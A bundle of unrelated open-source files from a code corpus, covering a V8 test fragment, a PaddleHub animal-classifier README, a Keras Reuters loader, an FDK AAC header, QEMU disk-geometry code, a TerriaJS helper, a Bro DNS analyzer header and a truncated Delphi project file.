bool found_comment = false;
while (it.HasCurrent()) {
if (strcmp(it.GetComment(), "Comment1") == 0) found_comment = true;
it.Next();
}
CHECK(found_comment);
}
TEST(StaticAssert) {
Isolate* isolate(CcTest::InitIsolateOnce());
CodeAssemblerTester asm_tester(isolate);
CodeAssembler m(asm_tester.state());
m.StaticAssert(m.ReinterpretCast<BoolT>(m.Int32Constant(1)));
USE(asm_tester.GenerateCode());
}
} // namespace compiler
} // namespace internal
} // namespace v8
| {
"pile_set_name": "Github"
} |
```shell
$ hub install mobilenet_v2_animals==1.0.0
```
<p align="center">
<img src="http://bj.bcebos.com/ibox-thumbnail98/e7b22762cf42ab0e1e1fab6b8720938b?authorization=bce-auth-v1%2Ffbe74140929444858491fbf2b6bc0935%2F2020-04-08T11%3A49%3A16Z%2F1800%2F%2Faf385f56da3c8ee1298588939d93533a72203c079ae1187affa2da555b9898ea" hspace='5' width=800/> <br /> MobileNet 系列的网络结构
</p>
模型的详情可参考[论文](https://arxiv.org/pdf/1801.04381.pdf)
## 命令行预测
```
hub run mobilenet_v2_animals --input_path "/PATH/TO/IMAGE"
```
## API
```python
def get_expected_image_width()
```
返回预处理的图片宽度,也就是224。
```python
def get_expected_image_height()
```
返回预处理的图片高度,也就是224。
```python
def get_pretrained_images_mean()
```
返回预处理的图片均值,也就是 \[0.485, 0.456, 0.406\]。
```python
def get_pretrained_images_std()
```
返回预处理的图片标准差,也就是 \[0.229, 0.224, 0.225\]。
```python
def context(trainable=True, pretrained=True)
```
**参数**
* trainable (bool): 计算图的参数是否为可训练的;
* pretrained (bool): 是否加载默认的预训练模型。
**返回**
* inputs (dict): 计算图的输入,key 为 'image', value 为图片的张量;
* outputs (dict): 计算图的输出,key 为 'classification' 和 'feature_map',其相应的值为:
* classification (paddle.fluid.framework.Variable): 分类结果,也就是全连接层的输出;
* feature\_map (paddle.fluid.framework.Variable): 特征匹配,全连接层前面的那个张量。
* context\_prog(fluid.Program): 计算图,用于迁移学习。
```python
def classification(images=None,
paths=None,
batch_size=1,
use_gpu=False,
top_k=1):
```
**参数**
* images (list\[numpy.ndarray\]): 图片数据,每一个图片数据的shape 均为 \[H, W, C\],颜色空间为 BGR;
* paths (list\[str\]): 图片的路径;
* batch\_size (int): batch 的大小;
* use\_gpu (bool): 是否使用 GPU 来预测;
* top\_k (int): 返回预测结果的前 k 个。
**返回**
res (list\[dict\]): 分类结果,列表的每一个元素均为字典,其中 key 为识别动物的类别,value为置信度。
```python
def save_inference_model(dirname,
model_filename=None,
params_filename=None,
combined=True)
```
将模型保存到指定路径。
**参数**
* dirname: 存在模型的目录名称
* model_filename: 模型文件名称,默认为\_\_model\_\_
* params_filename: 参数文件名称,默认为\_\_params\_\_(仅当`combined`为True时生效)
* combined: 是否将参数保存到统一的一个文件中
## 代码示例
```python
import paddlehub as hub
import cv2
classifier = hub.Module(name="mobilenet_v2_animals")
result = classifier.classification(images=[cv2.imread('/PATH/TO/IMAGE')])
# or
# result = classifier.classification(paths=['/PATH/TO/IMAGE'])
```
## 服务部署
PaddleHub Serving可以部署一个在线动物识别服务。
## 第一步:启动PaddleHub Serving
运行启动命令:
```shell
$ hub serving start -m mobilenet_v2_animals
```
这样就完成了一个在线动物识别服务化API的部署,默认端口号为8866。
**NOTE:** 如使用GPU预测,则需要在启动服务之前,请设置CUDA\_VISIBLE\_DEVICES环境变量,否则不用设置。
## 第二步:发送预测请求
配置好服务端,以下数行代码即可实现发送预测请求,获取预测结果
```python
import requests
import json
import cv2
import base64
def cv2_to_base64(image):
data = cv2.imencode('.jpg', image)[1]
return base64.b64encode(data.tostring()).decode('utf8')
# 发送HTTP请求
data = {'images':[cv2_to_base64(cv2.imread("/PATH/TO/IMAGE"))]}
headers = {"Content-type": "application/json"}
url = "http://127.0.0.1:8866/predict/mobilenet_v2_animals"
r = requests.post(url=url, headers=headers, data=json.dumps(data))
# 打印预测结果
print(r.json()["results"])
```
### 查看代码
[PaddlePaddle/models 图像分类](https://github.com/PaddlePaddle/models/tree/develop/PaddleCV/image_classification)
### 依赖
paddlepaddle >= 1.6.2
paddlehub >= 1.6.0
| {
"pile_set_name": "Github"
} |
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Reuters newswire topic classification dataset.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import json
import numpy as np
from six.moves import zip # pylint: disable=redefined-builtin
from tensorflow.contrib.keras.python.keras.utils.data_utils import get_file
def load_data(path='reuters.npz',
num_words=None,
skip_top=0,
maxlen=None,
test_split=0.2,
seed=113,
start_char=1,
oov_char=2,
index_from=3):
"""Loads the Reuters newswire classification dataset.
Arguments:
path: where to cache the data (relative to `~/.keras/dataset`).
num_words: max number of words to include. Words are ranked
by how often they occur (in the training set) and only
the most frequent words are kept
skip_top: skip the top N most frequently occurring words
(which may not be informative).
maxlen: truncate sequences after this length.
test_split: Fraction of the dataset to be used as test data.
seed: random seed for sample shuffling.
start_char: The start of a sequence will be marked with this character.
Set to 1 because 0 is usually the padding character.
oov_char: words that were cut out because of the `num_words`
or `skip_top` limit will be replaced with this character.
index_from: index actual words with this index and higher.
Returns:
Tuple of Numpy arrays: `(x_train, y_train), (x_test, y_test)`.
Note that the 'out of vocabulary' character is only used for
words that were present in the training set but are not included
because they're not making the `num_words` cut here.
Words that were not seen in the training set but are in the test set
have simply been skipped.
"""
path = get_file(
path, origin='https://s3.amazonaws.com/text-datasets/reuters.npz')
npzfile = np.load(path)
xs = npzfile['x']
labels = npzfile['y']
npzfile.close()
np.random.seed(seed)
np.random.shuffle(xs)
np.random.seed(seed)
np.random.shuffle(labels)
if start_char is not None:
xs = [[start_char] + [w + index_from for w in x] for x in xs]
elif index_from:
xs = [[w + index_from for w in x] for x in xs]
if maxlen:
new_xs = []
new_labels = []
for x, y in zip(xs, labels):
if len(x) < maxlen:
new_xs.append(x)
new_labels.append(y)
xs = new_xs
labels = new_labels
if not num_words:
num_words = max([max(x) for x in xs])
# by convention, use 2 as OOV word
# reserve 'index_from' (=3 by default) characters:
# 0 (padding), 1 (start), 2 (OOV)
if oov_char is not None:
xs = [[oov_char if (w >= num_words or w < skip_top) else w for w in x]
for x in xs]
else:
new_xs = []
for x in xs:
nx = []
for w in x:
if w >= num_words or w < skip_top:
nx.append(w)
new_xs.append(nx)
xs = new_xs
x_train = np.array(xs[:int(len(xs) * (1 - test_split))])
y_train = np.array(labels[:int(len(xs) * (1 - test_split))])
x_test = np.array(xs[int(len(xs) * (1 - test_split)):])
y_test = np.array(labels[int(len(xs) * (1 - test_split)):])
return (x_train, y_train), (x_test, y_test)
def get_word_index(path='reuters_word_index.json'):
"""Retrieves the dictionary mapping word indices back to words.
Arguments:
path: where to cache the data (relative to `~/.keras/dataset`).
Returns:
The word index dictionary.
"""
path = get_file(
path,
origin='https://s3.amazonaws.com/text-datasets/reuters_word_index.json')
f = open(path)
data = json.load(f)
f.close()
return data
| {
"pile_set_name": "Github"
} |
/* -----------------------------------------------------------------------------------------------------------
Software License for The Fraunhofer FDK AAC Codec Library for Android
© Copyright 1995 - 2013 Fraunhofer-Gesellschaft zur Förderung der angewandten Forschung e.V.
All rights reserved.
1. INTRODUCTION
The Fraunhofer FDK AAC Codec Library for Android ("FDK AAC Codec") is software that implements
the MPEG Advanced Audio Coding ("AAC") encoding and decoding scheme for digital audio.
This FDK AAC Codec software is intended to be used on a wide variety of Android devices.
AAC's HE-AAC and HE-AAC v2 versions are regarded as today's most efficient general perceptual
audio codecs. AAC-ELD is considered the best-performing full-bandwidth communications codec by
independent studies and is widely deployed. AAC has been standardized by ISO and IEC as part
of the MPEG specifications.
Patent licenses for necessary patent claims for the FDK AAC Codec (including those of Fraunhofer)
may be obtained through Via Licensing (www.vialicensing.com) or through the respective patent owners
individually for the purpose of encoding or decoding bit streams in products that are compliant with
the ISO/IEC MPEG audio standards. Please note that most manufacturers of Android devices already license
these patent claims through Via Licensing or directly from the patent owners, and therefore FDK AAC Codec
software may already be covered under those patent licenses when it is used for those licensed purposes only.
Commercially-licensed AAC software libraries, including floating-point versions with enhanced sound quality,
are also available from Fraunhofer. Users are encouraged to check the Fraunhofer website for additional
applications information and documentation.
2. COPYRIGHT LICENSE
Redistribution and use in source and binary forms, with or without modification, are permitted without
payment of copyright license fees provided that you satisfy the following conditions:
You must retain the complete text of this software license in redistributions of the FDK AAC Codec or
your modifications thereto in source code form.
You must retain the complete text of this software license in the documentation and/or other materials
provided with redistributions of the FDK AAC Codec or your modifications thereto in binary form.
You must make available free of charge copies of the complete source code of the FDK AAC Codec and your
modifications thereto to recipients of copies in binary form.
The name of Fraunhofer may not be used to endorse or promote products derived from this library without
prior written permission.
You may not charge copyright license fees for anyone to use, copy or distribute the FDK AAC Codec
software or your modifications thereto.
Your modified versions of the FDK AAC Codec must carry prominent notices stating that you changed the software
and the date of any change. For modified versions of the FDK AAC Codec, the term
"Fraunhofer FDK AAC Codec Library for Android" must be replaced by the term
"Third-Party Modified Version of the Fraunhofer FDK AAC Codec Library for Android."
3. NO PATENT LICENSE
NO EXPRESS OR IMPLIED LICENSES TO ANY PATENT CLAIMS, including without limitation the patents of Fraunhofer,
ARE GRANTED BY THIS SOFTWARE LICENSE. Fraunhofer provides no warranty of patent non-infringement with
respect to this software.
You may use this FDK AAC Codec software or modifications thereto only for purposes that are authorized
by appropriate patent licenses.
4. DISCLAIMER
This FDK AAC Codec software is provided by Fraunhofer on behalf of the copyright holders and contributors
"AS IS" and WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, including but not limited to the implied warranties
of merchantability and fitness for a particular purpose. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
CONTRIBUTORS BE LIABLE for any direct, indirect, incidental, special, exemplary, or consequential damages,
including but not limited to procurement of substitute goods or services; loss of use, data, or profits,
or business interruption, however caused and on any theory of liability, whether in contract, strict
liability, or tort (including negligence), arising in any way out of the use of this software, even if
advised of the possibility of such damage.
5. CONTACT INFORMATION
Fraunhofer Institute for Integrated Circuits IIS
Attention: Audio and Multimedia Departments - FDK AAC LL
Am Wolfsmantel 33
91058 Erlangen, Germany
www.iis.fraunhofer.de/amm
[email protected]
----------------------------------------------------------------------------------------------------------- */
/*************************** Fraunhofer IIS FDK Tools **********************
Author(s): M. Lohwasser, M. Gayer
Description: min/max inline functions and defines
******************************************************************************/
#ifndef FIXMINMAX__H
#define FIXMINMAX__H
#include "FDK_archdef.h"
#include "machine_type.h"
/* Inline Function to determine the smaller/bigger value of two values with same type. */
template <class T> inline T fixmin (T a, T b)
{
return (a < b ? a : b);
}
template <class T> inline T fixmax (T a, T b)
{
return (a > b ? a : b);
}
#define fixmax_D(a,b) fixmax(a,b)
#define fixmin_D(a,b) fixmin(a,b)
#define fixmax_S(a,b) fixmax(a,b)
#define fixmin_S(a,b) fixmin(a,b)
#define fixmax_I(a,b) fixmax(a,b)
#define fixmin_I(a,b) fixmin(a,b)
#define fixmax_UI(a,b) fixmax(a,b)
#define fixmin_UI(a,b) fixmin(a,b)
#endif
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IBFramework Version</key>
<string>489.0</string>
<key>IBLastKnownRelativeProjectPath</key>
<string>../Sparkle.xcodeproj</string>
<key>IBOldestOS</key>
<integer>5</integer>
<key>IBSystem Version</key>
<string>9F33</string>
<key>targetFramework</key>
<string>IBCocoaFramework</string>
</dict>
</plist>
| {
"pile_set_name": "Github"
} |
/*
* Hard disk geometry utilities
*
* Copyright (C) 2012 Red Hat, Inc.
*
* This work is licensed under the terms of the GNU GPL, version 2 or later.
* See the COPYING file in the top-level directory.
*
* This file incorporates work covered by the following copyright and
* permission notice:
*
* Copyright (c) 2003 Fabrice Bellard
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "qemu/osdep.h"
#include "sysemu/block-backend.h"
#include "qapi/qapi-types-block.h"
#include "qemu/bswap.h"
#include "hw/block/block.h"
#include "trace.h"
struct partition {
uint8_t boot_ind; /* 0x80 - active */
uint8_t head; /* starting head */
uint8_t sector; /* starting sector */
uint8_t cyl; /* starting cylinder */
uint8_t sys_ind; /* What partition type */
uint8_t end_head; /* end head */
uint8_t end_sector; /* end sector */
uint8_t end_cyl; /* end cylinder */
uint32_t start_sect; /* starting sector counting from 0 */
uint32_t nr_sects; /* nr of sectors in partition */
} QEMU_PACKED;
/* try to guess the disk logical geometry from the MSDOS partition table.
Return 0 if OK, -1 if could not guess */
static int guess_disk_lchs(BlockBackend *blk,
int *pcylinders, int *pheads, int *psectors)
{
uint8_t buf[BDRV_SECTOR_SIZE];
int i, heads, sectors, cylinders;
struct partition *p;
uint32_t nr_sects;
uint64_t nb_sectors;
blk_get_geometry(blk, &nb_sectors);
/**
* The function will be invoked during startup not only in sync I/O mode,
* but also in async I/O mode. So the I/O throttling function has to
* be disabled temporarily here, not permanently.
*/
if (blk_pread_unthrottled(blk, 0, buf, BDRV_SECTOR_SIZE) < 0) {
return -1;
}
/* test msdos magic */
if (buf[510] != 0x55 || buf[511] != 0xaa) {
return -1;
}
for (i = 0; i < 4; i++) {
p = ((struct partition *)(buf + 0x1be)) + i;
nr_sects = le32_to_cpu(p->nr_sects);
if (nr_sects && p->end_head) {
/* We make the assumption that the partition terminates on
a cylinder boundary */
heads = p->end_head + 1;
sectors = p->end_sector & 63;
if (sectors == 0) {
continue;
}
cylinders = nb_sectors / (heads * sectors);
if (cylinders < 1 || cylinders > 16383) {
continue;
}
*pheads = heads;
*psectors = sectors;
*pcylinders = cylinders;
trace_hd_geometry_lchs_guess(blk, cylinders, heads, sectors);
return 0;
}
}
return -1;
}
static void guess_chs_for_size(BlockBackend *blk,
uint32_t *pcyls, uint32_t *pheads, uint32_t *psecs)
{
uint64_t nb_sectors;
int cylinders;
blk_get_geometry(blk, &nb_sectors);
cylinders = nb_sectors / (16 * 63);
if (cylinders > 16383) {
cylinders = 16383;
} else if (cylinders < 2) {
cylinders = 2;
}
*pcyls = cylinders;
*pheads = 16;
*psecs = 63;
}
void hd_geometry_guess(BlockBackend *blk,
uint32_t *pcyls, uint32_t *pheads, uint32_t *psecs,
int *ptrans)
{
int cylinders, heads, secs, translation;
HDGeometry geo;
/* Try to probe the backing device geometry, otherwise fallback
to the old logic. (as of 12/2014 probing only succeeds on DASDs) */
if (blk_probe_geometry(blk, &geo) == 0) {
*pcyls = geo.cylinders;
*psecs = geo.sectors;
*pheads = geo.heads;
translation = BIOS_ATA_TRANSLATION_NONE;
} else if (guess_disk_lchs(blk, &cylinders, &heads, &secs) < 0) {
/* no LCHS guess: use a standard physical disk geometry */
guess_chs_for_size(blk, pcyls, pheads, psecs);
translation = hd_bios_chs_auto_trans(*pcyls, *pheads, *psecs);
} else if (heads > 16) {
/* LCHS guess with heads > 16 means that a BIOS LBA
translation was active, so a standard physical disk
geometry is OK */
guess_chs_for_size(blk, pcyls, pheads, psecs);
translation = *pcyls * *pheads <= 131072
? BIOS_ATA_TRANSLATION_LARGE
: BIOS_ATA_TRANSLATION_LBA;
} else {
/* LCHS guess with heads <= 16: use as physical geometry */
*pcyls = cylinders;
*pheads = heads;
*psecs = secs;
/* disable any translation to be in sync with
the logical geometry */
translation = BIOS_ATA_TRANSLATION_NONE;
}
if (ptrans) {
*ptrans = translation;
}
trace_hd_geometry_guess(blk, *pcyls, *pheads, *psecs, translation);
}
int hd_bios_chs_auto_trans(uint32_t cyls, uint32_t heads, uint32_t secs)
{
return cyls <= 1024 && heads <= 16 && secs <= 63
? BIOS_ATA_TRANSLATION_NONE
: BIOS_ATA_TRANSLATION_LBA;
}
| {
"pile_set_name": "Github"
} |
var ImageryProvider = require("terriajs-cesium/Source/Scene/ImageryProvider")
.default;
var URI = require("urijs");
var when = require("terriajs-cesium/Source/ThirdParty/when").default;
function getUrlForImageryTile(imageryProvider, x, y, level) {
const oldLoadImage = ImageryProvider.loadImage;
let tileUrl;
try {
ImageryProvider.loadImage = function(imageryProvider, url) {
if (typeof url === "string" || url instanceof String) {
tileUrl = url;
} else if (url && url.url) {
tileUrl = url.url;
// Add the Cesium Ion access token if there is one.
if (url._ionEndpoint && url._ionEndpoint.accessToken) {
tileUrl = new URI(tileUrl)
.addQuery("access_token", url._ionEndpoint.accessToken)
.toString();
}
}
return when();
};
imageryProvider.requestImage(x, y, level);
} finally {
ImageryProvider.loadImage = oldLoadImage;
}
return tileUrl;
}
module.exports = getUrlForImageryTile;
| {
"pile_set_name": "Github"
} |
// $Id:$
#ifndef dns_binpac_h
#define dns_binpac_h
#include "UDP.h"
#include "TCP.h"
#include "dns_pac.h"
// FIXME: As the binpac analyer for DNS-TCP and DNS-UDP are currently
// structured, we cannot directly combine them into one analyzer. Can we
// change that easily? (Ideally, the TCP preprocessing would become a
// support-analyzer as it is done for the traditional DNS analyzer.)
class DNS_UDP_Analyzer_binpac : public Analyzer {
public:
DNS_UDP_Analyzer_binpac(Connection* conn);
virtual ~DNS_UDP_Analyzer_binpac();
virtual void Done();
virtual void DeliverPacket(int len, const u_char* data, bool orig,
int seq, const IP_Hdr* ip, int caplen);
static Analyzer* InstantiateAnalyzer(Connection* conn)
{ return new DNS_UDP_Analyzer_binpac(conn); }
static bool Available()
{ return (dns_request || dns_full_request) && FLAGS_use_binpac; }
protected:
friend class AnalyzerTimer;
void ExpireTimer(double t);
int did_session_done;
binpac::DNS::DNS_Conn* interp;
};
#include "dns_tcp_pac.h"
class DNS_TCP_Analyzer_binpac : public TCP_ApplicationAnalyzer {
public:
DNS_TCP_Analyzer_binpac(Connection* conn);
virtual ~DNS_TCP_Analyzer_binpac();
virtual void Done();
virtual void DeliverStream(int len, const u_char* data, bool orig);
virtual void Undelivered(int seq, int len, bool orig);
virtual void EndpointEOF(TCP_Reassembler* endp);
static Analyzer* InstantiateAnalyzer(Connection* conn)
{ return new DNS_TCP_Analyzer_binpac(conn); }
static bool Available()
{ return (dns_request || dns_full_request) && FLAGS_use_binpac; }
protected:
binpac::DNS_on_TCP::DNS_TCP_Conn* interp;
};
#endif
| {
"pile_set_name": "Github"
} |
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<ProjectGuid>{A2CF82E5-3DE1-4688-BEC9-B1CE14C5BF22}</ProjectGuid>
<ProjectVersion>18.1</ProjectVersion>
<FrameworkType>VCL</FrameworkType>
<MainSource>app_63_Service.dpr</MainSource>
<Base>True</Base>
<Config Condition="'$(Config)'==''">Debug</Config>
<Platform Condition="'$(Platform)'==''">Win32</Platform>
<TargetedPlatforms>1</TargetedPlatforms>
<AppType>Application</AppType>
</PropertyGroup>
<PropertyGroup Condition="'$(Config)'=='Base' or '$(Base)'!=''">
<Base>true</Base>
</PropertyGroup>
<PropertyGroup Condition="('$(Platform)'=='Win32' and '$(Base)'=='true') or '$(Base_Win32)'!=''">
<Base_Win32>true</Base_Win32>
<CfgParent>Base</CfgParent>
<Base>true</Base>
</PropertyGroup>
<PropertyGroup Condition="('$(Platform)'=='Win64' and '$(Base)'=='true') or '$(Base_Win64)'!=''">
<Base_Win64>true</Base_Win64>
<CfgParent>Base</CfgParent>
<Base>true</Base>
</PropertyGroup>
<PropertyGroup Condition="'$(Config)'=='Debug' or '$(Cfg_1)'!=''">
<Cfg_1>true</Cfg_1>
<CfgParent>Base</CfgParent>
<Base>true</Base>
</PropertyGroup>
<PropertyGroup Condition="('$(Platform)'=='Win32' and '$(Cfg_1)'=='true') or '$(Cfg_1_Win32)'!=''">
<Cfg_1_Win32>true</Cfg_1_Win32>
<CfgParent>Cfg_1</CfgParent>
<Cfg_1>true</Cfg_1>
<Base>true</Base>
</PropertyGroup>
<PropertyGroup Condition="'$(Config)'=='Release' or '$(Cfg_2)'!=''">
<Cfg_2>true</Cfg_2>
<CfgParent>Base</CfgParent>
<Base>true</Base>
</PropertyGroup>
<PropertyGroup Condition="('$(Platform)'=='Win32' and '$(Cfg_2)'=='true') or '$(Cfg_2_Win32)'!=''">
<Cfg_2_Win32>true</Cfg_2_Win32>
<CfgParent>Cfg_2</CfgParent>
<Cfg_2>true</Cfg_2>
<Base>true</Base>
</PropertyGroup>
<PropertyGroup Condition="'$(Base)'!=''">
<Icon_MainIcon>$(BDS)\bin\delphi_PROJECTICON.ico</Icon_MainIcon>
<Icns_MainIcns>$(BDS)\bin\delphi_PROJECTICNS.icns</Icns_MainIcns>
<DCC_Namespace>System;Xml;Data;Datasnap;Web;Soap;Vcl;Vcl.Imaging;Vcl.Touch;Vcl.Samples;Vcl.Shell;$(DCC_Namespace)</DCC_Namespace>
<SanitizedProjectName>app_63_Service</SanitizedProjectName>
<DCC_DcuOutput>.\$(Platform)\$(Config)</DCC_DcuOutput>
<DCC_E>false</DCC_E>
<DCC_N>false</DCC_N>
<DCC_S>false</DCC_S>
<DCC_F>false</DCC_F>
<DCC_K>false</DCC_K>
</PropertyGroup>
<PropertyGroup Condition="'$(Base_Win32)'!=''">
<DCC_Namespace>Winapi;System.Win;Data.Win;Datasnap.Win;Web.Win;Soap.Win;Xml.Win;Bde;$(DCC_Namespace)</DCC_Namespace>
<VerInfo_Locale>1033</VerInfo_Locale>
<DCC_UsePackage>DBXSqliteDriver;RESTComponents;DataSnapServerMidas;DBXDb2Driver;DBXInterBaseDriver;DragDropD10;dxCoreRS23;vclactnband;vclFireDAC;dxADOServerModeRS23;emsclientfiredac;DataSnapFireDAC;svnui;tethering;cxDataRS23;FireDACADSDriver;dxmdsRS23;JvGlobus;AsyncPro;JvPluginSystem;DBXMSSQLDriver;dxDBXServerModeRS23;JvMM;DatasnapConnectorsFreePascal;FireDACMSSQLDriver;vcltouch;JvBands;vcldb;bindcompfmx;svn;JvJans;DBXOracleDriver;JvNet;Intraweb;inetdb;JvAppFrm;JvDotNetCtrls;FmxTeeUI;FireDACIBDriver;fmx;fmxdae;cxLibraryRS23;dxServerModeRS23;vclib;VirtualTreesD;JvWizards;cxPageControlRS23;dxGDIPlusRS23;kbmMemRunD10Std;UIRibbonPackage;FireDACDBXDriver;dbexpress;IndyCore;vclx;JvPageComps;dsnap;DataSnapCommon;emsclient;FireDACCommon;OverbyteIcsD10Run;JvDB;bdertl;RESTBackendComponents;DataSnapConnectors;dxLayoutControlRS23;VCLRESTComponents;soapserver;JclDeveloperTools;cxGridRS23;Abbrevia;vclie;bindengine;DBXMySQLDriver;FireDACOracleDriver;CloudService;FireDACMySQLDriver;DBXFirebirdDriver;JvCmp;JvHMI;FixInsight_10;FireDACCommonDriver;DataSnapClient;inet;bindcompdbx;IndyIPCommon;JvCustom;vcl;DBXSybaseASEDriver;IndyIPServer;JvXPCtrls;IndySystem;FireDACDb2Driver;dxThemeRS23;dsnapcon;VirtualTreesR;FireDACMSAccDriver;fmxFireDAC;FireDACInfxDriver;vclimg;Jcl;FireDAC;TeeDB;JvCore;dxFireDACServerModeRS23;JvCrypt;FireDACSqliteDriver;FireDACPgDriver;ibmonitor;FireDACASADriver;cxEditorsRS23;DBXOdbcDriver;FireDACTDataDriver;FMXTee;soaprtl;DbxCommonDriver;JvDlgs;JvRuntimeDesign;ibxpress;JvManagedThreads;Tee;DataSnapServer;xmlrtl;soapmidas;DataSnapNativeClient;fmxobj;vclwinx;ibxbindings;rtl;FireDACDSDriver;DbxClientDriver;JvTimeFramework;DBXSybaseASADriver;CustomIPTransport;vcldsnap;JvSystem;JvStdCtrls;bindcomp;appanalytics;TsiLang_D10r;DBXInformixDriver;IndyIPClient;bindcompvcl;TeeUI;vclribbon;dbxcds;VclSmp;JvDocking;adortl;FireDACODBCDriver;JvPascalInterpreter;AbbreviaVCL;JclVcl;DataSnapIndy10ServerTransport;SynEdit_R10;dxComnRS23;dsnapxml;DataSnapProviderClient;dbrtl;inetdbxpress;FireDACMongoDBDriver;IndyProtocols;cxExportRS23;JvControls;JvPrintPreview;vclSvComV8D23;fmxase;$(DCC_UsePackage)</DCC_UsePackage>
<VerInfo_Keys>CompanyName=;FileDescription=;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments=</VerInfo_Keys>
<VerInfo_IncludeVerInfo>true</VerInfo_IncludeVerInfo>
<Manifest_File>$(BDS)\bin\default_app.manifest</Manifest_File>
</PropertyGroup>
<PropertyGroup Condition="'$(Base_Win64)'!=''">
<DCC_UsePackage>DBXSqliteDriver;RESTComponents;DataSnapServerMidas;DBXDb2Driver;DBXInterBaseDriver;dxCoreRS23;vclactnband;vclFireDAC;dxADOServerModeRS23;emsclientfiredac;DataSnapFireDAC;tethering;cxDataRS23;FireDACADSDriver;dxmdsRS23;DBXMSSQLDriver;dxDBXServerModeRS23;DatasnapConnectorsFreePascal;FireDACMSSQLDriver;vcltouch;vcldb;bindcompfmx;DBXOracleDriver;Intraweb;inetdb;FmxTeeUI;FireDACIBDriver;fmx;fmxdae;cxLibraryRS23;dxServerModeRS23;vclib;cxPageControlRS23;dxGDIPlusRS23;kbmMemRunD10Std;FireDACDBXDriver;dbexpress;IndyCore;vclx;dsnap;DataSnapCommon;emsclient;FireDACCommon;OverbyteIcsD10Run;RESTBackendComponents;DataSnapConnectors;dxLayoutControlRS23;VCLRESTComponents;soapserver;cxGridRS23;Abbrevia;vclie;bindengine;DBXMySQLDriver;FireDACOracleDriver;CloudService;FireDACMySQLDriver;DBXFirebirdDriver;FireDACCommonDriver;DataSnapClient;inet;bindcompdbx;IndyIPCommon;vcl;DBXSybaseASEDriver;IndyIPServer;IndySystem;FireDACDb2Driver;dxThemeRS23;dsnapcon;FireDACMSAccDriver;fmxFireDAC;FireDACInfxDriver;vclimg;FireDAC;TeeDB;dxFireDACServerModeRS23;FireDACSqliteDriver;FireDACPgDriver;ibmonitor;FireDACASADriver;cxEditorsRS23;DBXOdbcDriver;FireDACTDataDriver;FMXTee;soaprtl;DbxCommonDriver;ibxpress;Tee;DataSnapServer;xmlrtl;soapmidas;DataSnapNativeClient;fmxobj;vclwinx;ibxbindings;rtl;FireDACDSDriver;DbxClientDriver;DBXSybaseASADriver;CustomIPTransport;vcldsnap;bindcomp;appanalytics;TsiLang_D10r;DBXInformixDriver;IndyIPClient;bindcompvcl;TeeUI;vclribbon;dbxcds;VclSmp;adortl;FireDACODBCDriver;AbbreviaVCL;DataSnapIndy10ServerTransport;dxComnRS23;dsnapxml;DataSnapProviderClient;dbrtl;inetdbxpress;FireDACMongoDBDriver;IndyProtocols;cxExportRS23;fmxase;$(DCC_UsePackage)</DCC_UsePackage>
</PropertyGroup>
<PropertyGroup Condition="'$(Cfg_1)'!=''">
<DCC_Define>DEBUG;$(DCC_Define)</DCC_Define>
<DCC_DebugDCUs>true</DCC_DebugDCUs>
<DCC_Optimize>false</DCC_Optimize>
<DCC_GenerateStackFrames>true</DCC_GenerateStackFrames>
<DCC_DebugInfoInExe>true</DCC_DebugInfoInExe>
<DCC_RemoteDebug>true</DCC_RemoteDebug>
</PropertyGroup>
<PropertyGroup Condition="'$(Cfg_1_Win32)'!=''">
<DCC_UnitSearchPath>..\;..\src;$(DCC_UnitSearchPath)</DCC_UnitSearchPath>
<VerInfo_Locale>1033</VerInfo_Locale>
<VerInfo_IncludeVerInfo>true</VerInfo_IncludeVerInfo>
<AppEnableHighDPI>true</AppEnableHighDPI>
<AppEnableRuntimeThemes>true</AppEnableRuntimeThemes>
<DCC_RemoteDebug>false</DCC_RemoteDebug>
</PropertyGroup>
<PropertyGroup Condition="'$(Cfg_2)'!=''">
<DCC_LocalDebugSymbols>false</DCC_LocalDebugSymbols>
<DCC_Define>RELEASE;$(DCC_Define)</DCC_Define>
<DCC_SymbolReferenceInfo>0</DCC_SymbolReferenceInfo>
<DCC_DebugInformation>0</DCC_DebugInformation>
</PropertyGroup>
<PropertyGroup Condition="'$(Cfg_2_Win32)'!=''">
<AppEnableHighDPI>true</AppEnableHighDPI>
<AppEnableRuntimeThemes>true</AppEnableRuntimeThemes>
</PropertyGroup>
<ItemGroup>
<DelphiCompile Include="$(MainSource)">
<MainSource>MainSource</MainSource>
</DelphiCompile>
<DCCReference Include="test_63_Service.pas">
<Form>frm63Service</Form>
<FormType>dfm</FormType>
<DesignClass>TService</DesignClass>
</DCCReference>
<BuildConfiguration Include="Release">
<Key>Cfg_2</Key>
